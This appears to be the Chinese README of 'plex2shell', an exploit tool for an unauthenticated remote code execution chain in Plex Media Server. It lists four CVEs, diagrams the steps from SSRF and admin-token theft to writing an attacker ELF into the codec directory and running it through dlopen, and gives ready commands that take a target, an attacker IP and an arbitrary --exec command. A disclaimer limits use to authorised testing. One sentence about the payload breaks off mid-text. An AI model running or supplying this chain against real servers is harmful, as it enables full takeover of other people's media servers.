针对 Plex Media Server 1.43.3.10828 及更早版本的未授权 RCE 利用链。
CVSS 3.1: 10.0 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
技术分析:https://zmain.info/blog/plex2shell
本工具仅出于授权安全测试、学术研究和防御目的发布。 仅可针对你拥有或已获得明确书面许可进行测试的系统使用。 作者不对本工具造成的误用或损害负责。未经授权访问计算机 系统是违法的。
| CVE | 原语 |
|---|---|
| CVE-2026-96652 | 通过 /player/timeline 的 protocol= 实现未授权 SSRF |
| CVE-2026-96654 | 回环枢轴:失效的认证守卫 + searchOne 的 identifier= 注入 |
| CVE-2026-96655 | 所有者认证的转码器 SSRF + 任意路径文件写入(dump-yuv) |
| CVE-2026-96656 | 通过 Codecs set-dir 中未签名编解码器的 dlopen 实现代码执行 |
[裸互联网,垃圾令牌]
|
(1) /player/timeline --- SSRF ---> 回环源
|
(2) /system/agents/.../searchOne --- identifier= 注入 --->
| 跨插件 RPC
|
(3) networking.py:149 --- 127.0.0.1.* 前缀混淆 --->
| 所有者管理员令牌窃取
v
攻击者持有 OWNER 管理员令牌
|
(4) /video/:/transcode/universal?path=<url> --- 转码器 SSRF --->
| 获取攻击者媒体
|
(5) TranscoderH264Options=dump-yuv --- x264 将攻击者 ELF 写入
| Codecs set-dir
v
第二次转码 -> dlopen() 每个 *.so -> 构造函数运行
v
[uid=1000(plex)]
载荷是无损(qp=0)载体的第 0 帧亮度,该载体
ffmpeg、gcc(或针对 Windows 目标的 x86_64-w64-mingw32-gcc)# Linux 原生(.deb/.rpm):
python3 plex2shell.py --target 10.0.0.5:32400 --attacker-ip 10.0.0.9
# Docker:
python3 plex2shell.py --target-os linux-docker --target 10.0.0.5:32400 --attacker-ip 10.0.0.9
# Windows:
python3 plex2shell.py --target-os windows --target 10.0.0.5:32400 --attacker-ip 10.0.0.9
# 一次性执行:
python3 plex2shell.py --target 10.0.0.5:32400 --attacker-ip 10.0.0.9 --exec "id; hostname"
其他所有选项请使用 --help。
GPLv3